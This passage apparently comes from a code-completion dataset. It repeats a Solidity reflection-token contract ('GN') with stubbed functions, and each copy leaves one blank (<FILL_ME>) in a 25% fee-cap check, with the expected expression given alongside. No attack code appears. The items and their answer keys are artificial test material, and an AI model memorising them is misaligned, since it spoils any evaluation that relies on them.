function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
require(_buy <= 25, 'cannot be above 25%');
require(
_buy.add(buyReflectionFee).add(buyBurnFee).add(buyLpFee) <= 25,
'overall fees cannot be above 25%'
);
buyInternalFee = _buy;
require(_sell <= 25, 'cannot be above 25%');
require(<FILL_ME>)
sellInternalFee = _sell;
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _sell.add(sellReflectionFee).add(sellBurnFee).add(sellLpFee)<=25,'overall fees cannot be above 25%' | 325,475 | _sell.add(sellReflectionFee).add(sellBurnFee).add(sellLpFee)<=25 |
'overall fees cannot be above 25%' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
require(_buy <= 25, 'cannot be above 25%');
require(<FILL_ME>)
buyBurnFee = _buy;
require(_sell <= 25, 'cannot be above 25%');
require(
_sell.add(sellInternalFee).add(sellReflectionFee).add(sellLpFee) <= 25,
'overall fees cannot be above 25%'
);
sellBurnFee = _sell;
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _buy.add(buyInternalFee).add(buyReflectionFee).add(buyLpFee)<=25,'overall fees cannot be above 25%' | 325,475 | _buy.add(buyInternalFee).add(buyReflectionFee).add(buyLpFee)<=25 |
'overall fees cannot be above 25%' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
require(_buy <= 25, 'cannot be above 25%');
require(
_buy.add(buyInternalFee).add(buyReflectionFee).add(buyLpFee) <= 25,
'overall fees cannot be above 25%'
);
buyBurnFee = _buy;
require(_sell <= 25, 'cannot be above 25%');
require(<FILL_ME>)
sellBurnFee = _sell;
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _sell.add(sellInternalFee).add(sellReflectionFee).add(sellLpFee)<=25,'overall fees cannot be above 25%' | 325,475 | _sell.add(sellInternalFee).add(sellReflectionFee).add(sellLpFee)<=25 |
'overall fees cannot be above 25%' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
require(_buy <= 25, 'cannot be above 25%');
require(<FILL_ME>)
buyLpFee = _buy;
require(_sell <= 25, 'cannot be above 25%');
require(
_sell.add(sellInternalFee).add(sellReflectionFee).add(sellBurnFee) <= 25,
'overall fees cannot be above 25%'
);
sellLpFee = _sell;
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _buy.add(buyInternalFee).add(buyReflectionFee).add(buyBurnFee)<=25,'overall fees cannot be above 25%' | 325,475 | _buy.add(buyInternalFee).add(buyReflectionFee).add(buyBurnFee)<=25 |
'overall fees cannot be above 25%' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
